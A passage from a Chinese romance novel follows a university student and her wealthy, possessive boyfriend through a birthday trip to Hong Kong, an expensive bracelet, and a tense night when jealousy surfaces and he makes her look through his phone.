林杳眠心情复杂,最终没有忍住,笑出声:“我等会儿也分享给你。”
“你根本不关心我。”宋淮靳指责她的同时,把手机还给她。
林杳眠觉得他的话完全是空穴来风。
“我哪有不关心你,你每天干什么我都知道,我还担心你乱吃乱喝又过敏了。”
那些事是他主动说的。
她根本不关心在外面有没有女生跟他搭讪。
如果两个人角色对调的话,宋淮靳觉得他在家能把自己逼疯。
林杳眠重新打开购物软件。
购物车里的部分物品被清空,挤压在购物车底部的相机冒上来,她很久之前想买的那一款。她已经存够了小金库,但等到真正要买的时候又犹豫不决。
林杳眠反复问自己,她是不是需要它。
她平时的使用频率有那么高吗?
万一后面变忙了没有时间摄影怎么办?
万一以后不喜欢摄影怎么办?
那相机不就白买了吗。
各式各样的问题汇聚在一起,导致林杳眠迟迟没有选择下单。
她在心底叹息一声,还是再想想吧。
“林杳眠!”宋淮靳的手突然捏住她的后颈,像拎小猫一样迫使她转过头。
手机滑落到沙发缝里,林杳眠腾不出手去捞。在他的钳制下,她不得不直视他的眼睛。
宋淮靳今天不论是言语还是行为,毫无逻辑可言。他突然问:“快到你生日了。有什么想法吗?”
23. 循环
生日对林杳眠来说,和其他普通的日子没有太大区别。她会在微信上多收到两个红包,象征性地发一条朋友圈,证明自己又长大了一岁。
收获很多来自同学和亲戚的点赞和祝福,但没有人一起庆祝。外婆记不住她的生日了。
所以宋淮靳问起来这个问题的时候,她抬头看到吊顶上明晃晃的白光,大脑跟着一片空白。
光照进他的眼睛,映出窗外的霓光云影。
林杳眠在这一刻发现,原来她初中到高中的生活不过是一盘录像,每一年循环播放,千篇一律。唯一的变化是,作业本越来越厚,知识越来越难,外婆的记忆力越来越差。
“你不知道的话,那我来安排好了。”
第二个周五,林杳眠坐在宽敞的座椅。飞机在跑道上经过一段时间的滑行,引擎的轰鸣声穿梭过客舱过道,飞机开始向上攀升。
林杳眠在芜川和京市之间往返时,会选靠机身的中间,隔着窗能看到巨大的飞机引擎。
这个部件令所有飞行爱好者着迷,它的位置经过精心挑选,是无数次计算机流体模型的迭代和风洞测试后的最优解。空气动力学追溯到最后又变成数学,斯托克斯方程。
但宋淮靳订的是头等舱的票,从舷窗是京市灯火通明的夜景。
林杳眠逐渐缓慢地习惯他的做事方式。她再三提过,生日这天两个人简单一起吃个饭就好。宋淮靳全然无视了这句话。
宋淮靳在办理值机时和她说:“我们只去两天而已,周日就回来,不会耽误你周一上课。我把所有行程都安排好了,”
起飞没多久,林杳眠开始打瞌睡。
她下午和竞赛小组包括闻妙冬在内的三个同学开了第一次讨论会。大家在项目想法上各抒己见。抱大腿的弊端体现出来了,大腿的思维过于敏捷,林杳眠在某些点上难以跟上节奏。当她刚理解上一句话,他们已经开始讨论下一个点。
头脑高速运转的后果是弥漫全身的疲惫,林杳眠觉得现在的自己跟哑火的引擎没什么区别,她躺在座椅里放松神经,不知不觉地睡过去。
林杳眠第一次踏上港岛的土地。
这座高度繁荣和自由的城市在以往只存在于新闻和网络段子中。
现实是,港岛比她想象中还要拥挤。在司机送他们的路上,林杳眠看见那些高耸入云的楼房,家家户户开着灯,密密麻麻的一片。
居住建筑仿佛只用钢筋混凝土搭了框架,然后一间一间的房屋如同沙丁鱼罐头一般被塞进去。
在这种地方生活,人肯定喘不过气。林杳眠想。
司机把两人送到目的地。下车的时候,她闻见海风的味道。
不是酒店,而是私人的高楼住宅。
透过落地窗可以俯瞰璀璨的维多利亚港,一艘艘小型游轮停靠在港湾中。
林杳眠在房间里发现了曾经有人生活过的痕迹,她踮起脚端详玻璃柜里的球星人物模型,还有签过名的足球,叠起来的球衣,彰显着物品主人的爱好。
“你以前住这里吗?”
宋淮靳打开行李箱的动作顿住,若无其事地回答:“偶尔回来住。怎么了?”
“噢...恰好看到你的收藏品,我以为你在这儿住过很久。你不是说你瑞士上完学就去英国了吗?”
“你猜错了,没有很久。”
两年而已。
他荒唐的上学经历全凭父母的决定。他在瑞士上完小学以后,钟屹远认为他不能一直这样只接受国外教育,所以把他接回国。
等到钟屹远发现他在学校只学会了斜着眼睛看人和打架后,怒不可遏,脸色比集团股票下跌三个点还难看。一向讲究风度的父亲第一次指着他的鼻子骂:“你这幅鬼混样跟以前街头的古惑仔有什么区别?”
她没有必要知道这段经历。
宋淮靳站起来,把睡衣塞到林杳眠的手里,微笑了笑:“你肯定很累,先去洗澡吧。台面上有洗漱用品,我提前吩咐人准备好的。”
半推着她进入浴室以后,宋淮靳脸上的笑意消失了,变成面无表情的样子。林杳眠在飞机上彻底陷入睡眠,所以不知道他在整个飞行途中始终保持这个表情。每次回到这座城市,他都是这个表情。
宋淮靳回过身,接着从行李箱里拿出两人的衣服。他的余光瞥见床头的深蓝色小盒子,眉头皱起,走过去拿起来一看,心底发出冷笑。
陈墨宇不愧是他爹手下的一员大将,办事周到,让他叫人打扫房子,连这种细节都照顾到了。
宋淮靳走出卧室,把东西丢进厨房的垃圾桶,然后站在落地窗前,拨通这位间谍的号码。
电话接通后,他说:“你是不是也是傻逼?”
不等对面的人反应,宋淮靳挂断电话。
林杳眠洗完澡缩在蚕丝凉被里,飞机上的小睡之后,她的部分精力又回来了,在聊天中和袁曼香分享刚才拍的夜景。
浴室的门吱呀一声打开,听到动静下意识地转头的瞬间,林杳眠听见宋淮靳说:“忘拿衣服了。”
他站在门边,上半身赤裸,腰腹两侧的人鱼线延伸进短裤的腰带,薄薄的腹部肌肉在灯光下流畅分明。和社交媒体上推送的健身人士不一样,他肌肉的线条不够整齐,因为这是通过球场上的跑动形成的,而非来自健身器材的有意训练。
最原始的野性的力量和张力。
宋淮靳扯过一旁的短袖,从上往下套,浑然天成的肌肉线条跟随他的动作一起一伏。
林杳眠侧回身,寥寥两句话结束了闺蜜之间的聊天。她的脑子里嗡嗡地回荡着一个想法:难怪网上的姐妹们天天在评论区发表竞选宣言。
看来上帝不光是捏他的脸的
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时候给予了偏爱,美好到不可思议的一幕。
不知道是不是坐飞机耗费精力,宋淮靳躺在床上抱着她,手没有乱动,出奇地老实。
“喜欢这里吗?”
来港岛不到三个小时,宋淮靳就这样问她。
林杳眠诚实地说出第一印象:“感觉这里到处都是人。”
“全世界人口密度最高的城市之一,当然很挤。你不喜欢这里对不对?”
林杳眠对这个问题感到费解。
第一次才来多久,哪儿谈得上喜欢还是讨厌。
宋淮靳又接着说:“以后还是去其他地方玩吧。我带你去瑞士滑雪,就在阿尔卑斯山下面,有个很不错的雪场。”
“或者去大堡礁潜水,你不会也没关系,可以当场学。下面可以看到很多珊瑚,还有鱼和海龟。”
“皇后镇跳伞也可以,但我猜你胆子很小...”
总之不是呆在牢笼一般的城市。
他快把全世界好玩的地点都说完了,一个比一个遥远。
林杳眠终于觉察到了宋淮靳的不对劲。她用手肘轻轻戳了他的腰,问:“你不喜欢港岛吗?”
宋淮靳搂紧她的腰,在她耳边轻笑一声:“我又不会住这儿,喜不喜欢有什么关系。”
只要她不喜欢就行了,她不喜欢以后就不会来这儿。她不来,他也就不用。
他想一直和她待在一起。
宋淮靳的笑听起来和往常一样,但仔细分辨以后会发现一丝别扭,很像需要安慰的小孩子。
林杳眠换了个姿势,搂住他脖子问:“那你怎么带我来?”
宋淮靳感受到套在他颈部的温暖和柔软,身体一僵,过一会儿才说:“你不是想试试港式早茶吗?”
原来是这个回答。他不听话的擅自决定像一张彩色相片,强行插入她的生活。
林杳眠怔忡地微扬着头,借着窗外洒进来的星光,他的眼神澄澈,不带一丝多余的杂质。
那天她迷糊间听到的话,他说,每一句对她说的话都是认真的。
林杳眠看着他的表情轮廓。一股难以抑制的冲动迸发在身体里。她的手微微用力,身体贴上去,头枕在他结实的肩膀。
“你夏天也要过生日了,你想要什么吗?”
她不能一味接受他的好,也要反馈回去才行。
宋淮靳的身体很难受,再这样下去会很危险。她抱上来的时候,像是一种安慰,又像是一种折磨。
距离夏天还有很长时间,但他当下燥热到没办法回答她的问题。
宋淮靳握住她的手腕,从他的颈部挪开。
“杳杳。”他声音暗哑地叫了声她的小名,只有家里人才知道的那个小名。
“时间很晚了,睡觉吧。”
他没有像往常一样索要晚安的亲吻。
24. 罪证
林杳眠吃到了正宗的港式早茶,水晶虾饺、烧麦、叉烧包和酥皮蛋挞,每一道点心被端上的时候,服务员会在桌边耐心地介绍用料和做法。
桌子的另外一边是三米高的落地窗,密密麻麻的建筑物延伸到海边。
她抬头看见坐在对面的宋淮靳,会觉得这一幕和在芜川的早餐店吃饭时似曾相识。他用勺子赏心悦目地把粥舀出来送进嘴里,像经过计算,每一勺都只有八分满。
宋淮靳问她:“好吃吗?”
林杳眠点头。芜川人爱吃辛辣口,重油重辣的东西吃多了,偶尔品尝到不一样的鲜美也是别样体验。
“以后还想来吗?”
林杳眠犹豫两秒,又摇头。用餐之前,她看到了菜单上的价格,这种好东西品尝一次就够了。
宋淮靳只能理解到摇头的意思,摇头就是不想。她也不喜欢这个地方。
港岛的街道有一种矛盾的空间压迫感,特别高的楼,特别窄的路。彻头彻尾的水泥森林,走在路中间感觉身体都要被挤扁了。
宋淮靳把她拉进一家奢侈品店。
进去之前,林杳眠看到品牌的名字就开始挣扎。宋淮靳拽紧她的手,反过来嘲笑道:“你怕什么?”
玻璃门外车水马龙,店内冷清得出奇,高悬的水晶吊灯洒在玻璃展柜上,只有两位客人在柜台前挑选首饰。
SA迎上来的下一秒,林杳眠感觉五指间的力量加大,宋淮靳像换了个人。
两个人在外晃悠了一上午,包括吃早茶,他一直说的普通话。但现在他一开口,跟BBC广播里的口音似地讲起英语。
“不好意思,那一款是我们专门准备给特殊客人的。”
林杳眠听懂了SA委婉拒绝的话,但她没听懂之前宋淮靳说了什么,他的英式腔调太重,有些卷舌音被吞掉,有些词语完全听不出来。
在SA礼貌的微笑下,宋淮靳松开了林杳眠的手,对她说:“我出去打个电话。”
林杳眠彻底弄不懂他的意思了。
但宋淮靳出去不到两分钟就回来了,他把手机递给表情冷淡的SA。
SA接起电话,表情很快发生变化,笑容扬起来,即使没看到电话那一头的人,也不自觉点头哈腰。
挂断电话以后,SA双手把电话还给宋淮靳,说:“我先带你们去VIP室。这款手链我们店暂时没货,我马上联系其他店铺,看能不能调过来。”
VIP室内的桌子上有甜点和咖啡。
林杳眠现在对甜点不感兴趣,她想问宋淮靳到底要干什么。但一转头,林杳眠看见他耷着睫毛,唇线抿紧,盯着地板发呆。
宋淮靳很少这样,他总是情绪外露。但从昨天开始,他像被一层薄膜包裹住,情绪变得若有若无。
水晶灯的光镀在他脸上,下颌线陷在暗处。
林杳眠忘了要问什么。她说:“你不高兴了。”
宋淮靳睫毛下的阴影微微颤动。
“没有。”他焦糖般甜蜜地笑起来,“今天是你的生日,我为什么会不高兴。”
林杳眠戳穿事实:“你从昨天开始就不高兴了。”
她迟钝地把细节关联起来,昨天他奇怪的问题,别扭的话,逃避的回答,都在指向同一件事。
他没有否认,又不愿意承认的事。
不喜欢这里。
宋淮靳的笑凝固下来,但他还是嘴硬:“你别想太多。你应该关注自己的心情好不好。”
他强调一遍:“今天是你的生日。”
等了两个小时,SA带着包装盒进来,半跪在桌边打开盒子,一条低调又不失精美的五花手链躺在里面,深蓝色的小石头仿佛凝聚了宇宙的裂痕,泛起微妙的光泽。
宋淮靳把手链扣在林杳眠手腕上。
“喜欢吗?”
林杳眠想摇头,她猜到了他的举动。
蓝彼得石表面的涟漪诱人又深邃,没有人会不喜欢,但她不能点头。
宋淮靳动作比她更快。
他站起来对SA说:“我跟你出去付款。”
看到POS机上金额,宋淮靳面无波澜,他在斟酌另外一个问题,或许不该带林杳眠来这儿。他在这个地方太容易失控,她已经敏感地察觉到了。
剩下的半天时间,林杳眠才知道宋淮靳还安排了迪士尼乐园的行程。在专人带领下,他们越过了排队的人群,直接走快速通道,成功玩遍了乐园内的项目。
夜幕降临,城堡上空燃起烟花,那些童话故事里的歌曲耳熟能详,犹如踩在棉花上,梦幻般的体验。
快结束的时候,宋淮靳没有问她喜不喜欢,直接捏住林杳眠的下巴,将她的脸转过来,忽略掉所有的喧闹,旁若无人地湿吻。
林杳眠被亲得腿软了,周遭的音乐、烟花和人群揉在一起成为迷幻剂,麻痹她的神经。
她迷糊迷糊地被牵去坐车,回到公寓。
关上门的一瞬间,宋淮靳把她反压在门板上,继续去勾她的舌尖。
当亲吻快要变质的时候,他主动放开她,帮她把凌乱的长发别到耳后:“去休息吧。”
林杳眠的手腕上还有异物感,因为她以前没有佩戴手链的习惯
她拉住他的胳膊,重获片刻的喘息机会,说出从店里出来就想说的话:“你不喜欢这里的话,我们可以不来。不是一定来港岛才有早茶吃,才有烟花看。”
宋淮靳垂下眼:“那不一样。今天你过生日。”
这句话他今天说过很多遍了。
“不是不一样。”林杳眠凝视他漆黑的眼睛,“我们就算今天在家里吃一顿饭,一样可以庆祝。”
而不是他自我委屈完成她的愿望。
“你看,我们现在来港岛,但是你一点都不开心。这样是没有意义的。”
她不知道其中的原因,宋淮靳显然也不想说,毕竟他在试图遮掩他不高兴这件事。
林杳眠想告诉他,不管用什么方式庆祝,只要两个人在一起开心,她就会觉得很幸福。
她是一个很容易满足的人吗,所以在一开始就告诉他,简单吃顿饭就好。
没有什么比陪伴更重要,这是林杳眠在过去人生中的重要经验。
如同现在,哪怕外婆不记得她了,她觉得只要和外婆还在身边就是快乐的。
宋淮
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靳低下头,看着她干净的瞳孔:“所以你今天不高兴吗?”
“我没有不高兴。”林杳眠停顿一下,继续说,“但是我不想看见你难过。”
看到他难过的时候,她也会被不自觉地影响。
他盯着她,眼神里有东西即将翻涌而出。
然后林杳眠又被压在门板上,被亲了遍。
从嘴唇到脖颈,再到肩膀,宋淮靳像划分领地上在她皮肤上留下痕迹。
他把她抱起来,抬高。林杳眠被迫从高处俯视他,他柔软的黑发,漂亮的眼睛和迷人的脸颊,像漩涡一般吸引人。
脚不能着地的时候,才有真正的坠落感。
*
第二天起来,林杳眠对着镜子,看见锁骨上的斑斑点点,麻木地拿出遮瑕膏。
她庆幸今天就要回京市了,至少有个理由穿上长袖。
宋淮靳又从后面抱上来的时候,林杳眠制止了他的动作:“不准再亲了。我回去还要见人。”
遮瑕膏又不能二十四小时留在皮肤上,她回寝室怎么和袁曼香解释荒唐事。
两个人还没那一步,只是简单的接吻,被他弄成这样了。
宋淮靳不听她的命令,咬下去,牙齿在白嫩的皮肤上细细地研磨。
他松开嘴,说:“你可以住我那儿,等吻痕消失了才回去。”
“不可能。”
住他那儿,怕是永远消不下去了。
宋淮靳又吻上刚刚他咬过的位置,舌头舔舐一遍,又慢慢吮吸。
颈椎上钻进一股酥麻感,沿着脊椎往下,传到尾椎骨。
林杳眠要疯了,一把掐在他腰上。
宋淮靳吃痛地松开她,抱怨道:“你这么用力掐我不心疼吗?”
她越心疼,他越能串上天。
林杳眠把遮瑕膏放到他手里:“你看肩膀后面遮完了吗?”
宋淮靳在她的指导下,蘸取遮瑕,涂抹在那些暧昧的痕迹上。神奇的膏体把她的皮肤恢复原本的颜色。
除了他刚刚咬下去的那块,新鲜的痕迹。
“遮完了。”宋淮靳把遮瑕膏盖起来,丢在台面上。
林杳眠不放心地又问一遍:“真的吗?”
“真的。”宋淮靳把她别在脑后的发夹取下来,柔顺的黑发重新披散在肩膀上。
他微笑地帮她理好头发,掰过她的脸接吻,舔进柔软的上颚。
等到丢在旁边的手机响起闹钟,林杳眠后知后觉地推开他。
“不行,我们要去机场了。”
林杳眠急急忙忙地把化妆品塞进化妆包,然后去检查行李箱是否装齐。
她蹲下的时候,及腰黑发垂到一侧,后颈的皮肤暴露在空气中。
“你确定你东西都拿齐了?”林杳眠转过头,看着站在原地不动的宋淮靳。
宋淮靳认真地盯着她,半晌后才说:“我一共就几件衣服,忘了也无所谓。”
想想也是,林杳眠站起来,准备出发去机场。
随着她的动作幅度,头发不听话地摆来摆去。
纤细的颈部线条时不时地暴露在空气中,还有他的罪证。
25. 调侃
宋淮靳在机场的星巴克给两个人买咖啡,他站在柜台前点单。林杳眠坐在黑色的小圆桌守着行李箱,听到他在讲话,嘱咐店员其中一杯多加焦糖和奶油。
他刚才说的每一句话,发音清楚,有些音节被自然加重。
她全部听懂了。
不一会儿,宋淮靳端着蛋糕和咖啡走过来。
林杳眠问他:“你为什么一会儿说英语,一会儿说中文。”
“因为我不会说粤语。”
如果会说粤语,他在港岛的生活会是另外一幅样子。
林杳眠哽住,盯着他搅咖啡的动作,又好奇地问:“你昨天不是这样说话的。”
宋淮靳撕开方糖包,往咖啡里撒,接着搅拌,嘴角一勾:“我昨天说什么了?”
“你今天说英语的口音变了。”林杳眠好奇。
在日常生活中,一个人说话怎么能演变出两种截然不同的说话风格。
宋淮靳停下搅拌动作,抽出搅拌棒往垃圾桶里一扔,然后回头。
“是吗?那你喜欢哪一种?”
他说话的口气很淡,没有波澜的眼神,像凝聚在宇宙深空之中,又像行刑前对刽子手的仰望。
林杳眠第一次看见宋淮靳出现这种平静,和以往不一样,一种骇人的平静。
掀开一张纸,发现下面深不见底。悄然的不安哽在喉咙间,林杳眠的大脑转动起来,寻找以前忽略掉的细节。
她肯定漏掉了什么。
宋淮靳以前有出现过这种表情吗?
他上一次用这种语气说话是什么时候?
林杳眠的手心慢慢地渗出汗。
在有限的回忆中间,宋淮靳用这种语气说话,在电话中,从背后抱着她。
她从来没有看见他的脸。
宋淮靳的睫毛扑棱,眼神中又亮起光。
“走吧,广播提醒登机了。”
仿佛刚才的表情只是她一瞬间的错觉。
手心里传来灼热的温度,林杳眠换了一只手拿咖啡纸杯。
银链上的蓝彼得石在午间的阳光下熠熠生辉,漂亮得不像话。
林杳眠看着微微潮湿的皮肤。她想,有可能真的是错觉,单纯属于热出来的汗。
五花手链并没有跟随林杳眠太长的时间。
她把手链戴在手腕不到一周的时间,被询问过三四次,经过新闻部另外一位女生的提醒,她才知道真实价格比她想的还翻倍。
银链子就变得烫手起来。
林杳眠也下定决心从购物车里移除掉梦寐以求的相机。她为这个相机攒了一年多的钱,最后这笔小金库反而派上了另外的用场。
“你最近有什么想要的吗?”
林杳眠怀抱方形抱枕陷在沙发上,看着电视机中正在播放的美剧,像是随口一问。
宋淮靳一偏头,把抱枕从她身上扯出来,好看的脸蛋凑到她面前。
“什么都可以吗?”
林杳眠不想承认,他的眸子很干净,但她脑子是冒出来的第一个想法是歪的。
现在每个周末她会住在他的公寓里,互相妥协的结果。宋淮靳当然巴不得她每天来,但林杳眠觉得他太能折腾,每天都住在这儿她睡不好觉。
两个人睡在同一张床的时候,他经常不老实,像一只黏人的大狗非要贴上来,舔得她脖子到处痒。然后在关键时刻刹住车,安静的卧室里只有他粗重的喘息,带着欲,过很久才消散。
林杳眠说:“要是我能力范围内能实现的事。”
“那肯定是。”宋淮靳扬起一个灿烂的笑容,眸子里的水光荡漾,他温声说,“你暑假可以留下来陪我吗?”
林杳眠没预计他会提出这个要求,她先是呆呆地愣住。
这幅表情落在宋淮靳眼里就是不愿意,他抿下唇:“不行吗?”
那他去芜川找她也一样。
“不是。”林杳眠的双手捧在他的脸颊,往中间一挤,多出两团婴儿肥,让他看起来比平时还要柔软。
“我本来也要留在京市的,我不是报名了科创竞赛吗?暑假也要接着工作,我另外三个同学都是京市本地人,我留在这儿的话大家碰头也方便。”
宋淮靳盯着她,突然头一低,一口咬在她手掌的虎口处:“你怎么就不能骗我呢?”
林杳眠费解:“我骗你干什么?”
只说一句:可以,她暑假留下来陪他。
而不是说她有其他事要做,所以必须留在京市。
宋淮靳握住她光溜溜的手腕,皱起眉地问:“你的生日礼物呢?为什么不带?”
“手链吗?我锁在寝室衣柜里了。”
“为什么要锁起来?”
林杳眠呃了半天,途中宋淮靳的眼神越来越深,如果再想不出来一个合理的解释,她的肩膀又会被啃一遍。
“我觉得那条手链有点贵重,我每天在学校里到处跑,万一弄丢了怎么办。”
宋淮靳的表情松了几分:“弄丢了就再买一条。”
两个人的脑电波完全不在一个频率。
林杳眠实话实说:“我被问过好几次了,手链在哪儿买的,我平时又不会买这么贵的东西…”
网上经常出现的一个段子,开劳斯莱斯,背什么包都是真的。坐地铁,背真包也像假的。
“你直接说男朋友送的不行吗?”
他在挑选礼物的时候,仔细考量过很多因素。不能送手包,她肯定不会背。也不能只送一套衣服,她不可能天天穿。不能送化妆品和护肤品,她就算用了,那些男生也看不出来。
他需要一个每天可以出现在她身上的、可以宣示主权的礼物。而且要让其他人一看到就知难而退的礼物。
所以宋淮靳点名指姓地要了一个最常见的经典款式,但最难买到的颜色。
只要她用过最好的,就不可能再看别的垃圾一眼。
宋淮靳半威胁地要求道:“你明天必须戴起来。不然我就默认你不喜欢这个礼物,那我会一直买到你喜欢的为止。”
听起来像是他干得出来的事,林杳眠不想再节外生枝,直接举手投降:“行行行,我明天回寝室就把它拿出来。”
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其实手链对于林杳眠还有一个不便之处,右手腕持续性地有种异物感,写字不方便,敲键盘也不方便。她不得不每次干活之前都取下来放到一边。
几次讨论会后,闻妙冬也发现了这个细节,得知原因后,点点头对此发表评价。
“那你男朋友挺会。”
林杳眠简单地把这句话理解为一句调侃。
*
春天一过,京市的气温像坐了火箭似地蹭蹭上升,夏天开始一步步地入侵这座城市。
康欣妍在即将期末的时候,问过林杳眠要不要下半年继续留在新闻部,她非常合适部长这个职位,负责又有耐心。
林杳眠婉拒了这个请求,她计划在大三修完所有的专业课,然后大四申请出去交换,海外经历会给履历增分不少。
康欣妍回复:「你看,我就说哪儿有这么困难。你刚升大二的时候还没自信,现在不是一样发论文拿奖学金。」
在一个热气腾腾的下午,林杳眠和袁曼香在寝室复习到头晕眼花,商量出去买点什么降暑的甜点。还没讨论出结果,就遇上回来收拾物品的叶佳媛。
整个学期中间,叶佳媛回寝室的次数屈指可数,基本都是回来拿东西,从来不留宿。
其实宿管上次来通知她们两个人,说叶佳媛退寝了,之后可能会安排其他转专业的同学住进来。
意料之中的结局,但无关紧要。
眼见保研无望,袁曼香的家里想安排她研究生去英国留学。英语不好的袁曼香想晚上多空点时间备考雅思。计划在大三搬到校东门那边租房住。
如果袁曼香不住寝室,林杳眠觉得一个人留下来要和新室友相处也费精力。
大二还差一点才结束,却已经隐隐约约有了一股各奔东西的味道。
勉强维持了两年的寝室平衡,终于在这一刻结束。
叶佳媛看起来状态正常,一进寝室里直接把那些零碎的生活用品直接扔进了垃圾桶,然后把剩余的几件衣服装进行李箱。
她打开寝室门把箱子推出去,突然回过头,语气轻蔑地对林杳眠说:“别说我没提醒你,上次我们出去聚会,你男朋友也在,周围女生赶着上他那儿要联系方式。”
林杳眠怔住。
然后门砰地一声被直接关上。
袁曼香在这一刻对叶佳媛的印象降到极点,差点又要气晕过去,径直转过椅子说:“她肯定是故意恶心你!什么人啊!连搬出去最后一秒都不安生!”
骂骂咧咧两句后,袁曼香拉过林杳眠的手:“别听她胡编乱造,我们出去买鲜芋仙。”
林杳眠轻轻点下头,套上一件防晒服和袁曼香一起下楼。
正午的太阳直直地打在脸上,晒得人一股燥意,想赶紧躲到阴凉的地方去,
林杳眠站在旁边听袁曼香一顿叽里呱啦地跟甜品店老板点餐。
远处的大树在路上投下扭曲斑驳的阴影。林杳眠一直知道宋淮靳有聚会,他说圈子里几个朋友最近都要出国了,赶着办离别仪式。
但叶佳媛口中的那些事,他没提过。
26. 第一顺位
“你今天好像很心不在焉。”宋淮靳放下筷子,盯着林杳眠的动作。
她吃饭的速度比以往都慢。
林杳眠疑惑地嗯了一声,抬起头。
“不合胃口吗?”
考虑到这两周在期末,宋淮靳让阿姨准备的大多是口味清淡的菜系。
“不是。”林杳眠尽量挤出一个笑,“我不是下周一最后一门考试吗?复习压力有点大。”
最后一门考试是马克思主义基本原理,林杳眠很早之前就把复习重点捋完了。
过去两周,期末考试的复习资料堆积成山,巨大的压力焦虑如潮水般淹没过其他所有事情,包括叶佳媛的话。退潮之后,那些话像沙滩上的碎石,重新露了出来。
她其实可以直接问的。
但林杳眠想不到怎么开口。
你在聚会上是不是有别的女生要了你的联系方式。答案其实一直摆在明面上的,她在很早之间就见过的场景。
林杳眠不知道她现在脸上的表情看起来有多狼狈。
宋淮靳掀着眼皮,注视了她很久才缓缓收回来。骗子,他在心底默默想。
夜晚,卧室沉入一片黑暗。
林杳眠侧躺在柔软的床上,视线虚无地浮在半空。身后的床垫突然陷下去一块,凉被被人扯开,滚烫的体温贴上来。
一只强而有力的胳膊拦在她的腰上,没有进一步动作。
“你没有什么想说的吗?”宋淮靳的声音在黑暗中格外清晰,起伏胸膛之下的心跳也听得清楚。
“你吃饭在走神。看书也在走神。”
林杳眠呼吸不自觉地屏住。
现在是一个提问的好时机。
“你还记得我那个在酒吧里喝醉的室友吗?”
宋淮靳的眉毛在黑暗中皱起一个弯度。
“哪个?”
“很早以前...”林杳眠顿住,回忆起一些额外的细节,补充道,“你因为睡沙发感冒那次,我去接的就是她。”
宋淮靳想起来了。他卑劣地利用那次机会博取她的同情心,让她陪他去医院,然后她守在床边睡着了,无意识的梦中一直抓着他的手。
她的皮肤像春天一样温暖。
宋淮靳放在她腰间的手往上收了收。
“然后呢?”
“你上次带我去你朋友聚会,我们出来的时候,碰见她和她男朋友在门口吵架,你还跟她男朋友打了招呼。”
林杳眠饶了一大圈,问出问题。
“你知道他们两个人之间是怎么回事吗?”
宋淮靳看不到她的表情,但他知道她没有说实话。
“你看我像是天天看这种八卦的人吗?”语气悠悠,半晌后,他又说,“为什么问这个?”
因为想确认再之前叶佳媛说的话是不是真的。但似乎不是很重要,确实是狗血的八卦,室友每个月从渣男友的手机里发现新的联系人。
期末考试带来的压力太大了,林杳眠想。所以她才会试图找出叶佳媛说话的逻辑。
但科学研究表明,人类在每天的日常对话中都会撒谎。比如“我没事”意味着实际上很糟糕,“我没有听到你的来电”有可能是根本不想接。
“没什么,她今天回寝室收拾东西,我突然想起来了。我以为你和她男朋友很熟。”
话音刚落,宋淮靳松开放在纤腰上的手,他猛然翻身躺到另外一侧,林杳眠从背对变成被迫和他对视。
宋淮靳的嘴角挂着笑。
“林杳眠,有没有人告诉你,你撒谎的技术特别差劲。”
他标致的五官逐渐在面前放大,近到林杳眠能数出他根根分明的睫毛,掉落在蓝彼得石一般深邃的瞳孔。
“你根本不是因为这件事走神。”
他刚刷过牙,气息满是甘草薄荷的味道。她的嗅觉被这种气息包裹住。
当被宋淮靳用这种眼神注视的时候,他的世界仿佛只容得下一个人。林杳眠终究没有抵制住诱惑。
而宋淮靳如愿以偿地从她口中听到了实话,他垂下眼睑,拉开距离。
灼热旖旎的气氛一点一点地消失殆尽。
“什么时候的事?”又是异乎寻常的平静。
“昨天下午。”
“昨天下午?”宋淮靳一字一顿地重复一遍。
她之前自己说的,她相信他,让他不用每天跟打报告似地发消息。
她也不知道,他其实乐在其中。聚会上频繁守着手机的时候,总有人会多嘴问一句,然后他就能顺理成章地说女朋友在查岗。
如果她完全信任他,会把她室友那句话当成放屁一样忽略掉,不会偷偷难过。或者如果她对此生气,应该第一时间质问他,最好大发雷霆。
他宁愿是后者。
但现实是她既不信任他,也不够喜欢他。喜欢就是会肆意地想要占有一个人,就像他送给她的手链一样。
宋淮靳自嘲般地笑了下。
这一声笑格外轻,像有羽毛飘落在地板,又被吹起来,随风而逝。
林杳眠不习惯他这副模样,内心变得忐忑。她又联想到在机场那一幕,至今没弄明白到底哪里不对劲。
宋淮靳的声音温柔,像是要将周围溺在其中。
“昨天下午到现在快三十个小时了,你为什么昨天不直接问我呢?”
“我昨天在准备今天的考试...”
她越说音量越小。
宋淮靳沉默地坐起身,抬头迎着月光。
让他更难接受的解释。此前已经发生过多次,她有忙不完的事,一件接着一件,他永远被排在最后。
其实从他能够记事起,他不是任何人的第一顺位。钟屹远跟他说过的最多的话,没有谁的世界是围着你转的,大家都有各自的事要忙,你妈妈有事要忙,你爸爸也有事要忙,你是一个男人,就应该学着独立。
月光被宋淮靳的背影挡住了,他周围的阴影中蒙着一层低气压。
林杳眠伸手抓住他的胳膊,想要说点什么安慰他。内疚在这一刻被无限放大。
叶佳媛的话肯定是假的,他被冤枉透了,不然怎么会这么难过。她后悔把这件事告诉他了。
“我…”
宋淮靳打断她:“我手机在枕头旁边,密码是0422。”
4
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月22号是她的生日。
身后的人没有动静。
宋淮靳握紧林杳眠的手指,把她的手从右上臂挪开,探出手啪地一声打开床头的台灯。
暖黄色的灯光倾泻在房间中。林杳眠默默地攥紧蚕丝被光滑的缎面上,她看见他的眼尾勾着红。
宋淮靳俯身去拿手机,当着她的面解锁。
林杳眠意识到他要做什么,脱口而出:“我不要看。”
他没有听她的话,像以前一样揽过她的腰,抱在怀里。林杳眠试图扭过头,但她的力气和他没法抗衡。
宋淮靳轻而易举地正过她的头,逼迫她看向手机。
熟悉的页面,落在林杳眠眼里却莫名生出一股寒意。
宋淮靳亲昵地枕在她肩膀上,带领她的手指滑过冰凉的屏幕。他贴在耳边情人般地密语,挨个跟她解释。
这个是以前英国的中学同学,他是京市人。
这个是中学同学的发小,还在京市,但马上要去加拿大留学。
这个是她室友的男朋友...
他把聊天列表里的每一个人的来历讲得一清二楚,又引着她打开聊天框。
她手上仿佛握了一把刀,但剖开的不是猎物,是他的身体,从内部涌出来是无尽的痛苦。
林杳眠被抓住的手慢慢抖起来,她想抽回来堵住耳朵,不想往下听。
他的声调温和冷静,一股难以名状的惊恐却爬上林杳眠的脊背。那张白纸又被翻开了,背面没有她想要的答案,比上一次还深不可测的黑洞。
她好像从来没有了解过宋淮靳。每一次她觉得认识他的时候,他都会变成另外一面。当她觉得他是个坏人,他很快用实际行动证明他本质是好的。当她接纳并且以为他是一个单纯可爱的男孩子...
“你还有什么要问的吗?”
略带凉意的唇轻轻触上她的耳垂,鼻尖蹭过她耳侧的皮肤,掀起一种痒痒意。
林杳眠微微扬着头,不吭声。她说不出话了,还在拼命消化当下的情景。
为什么他会突然变成这样。
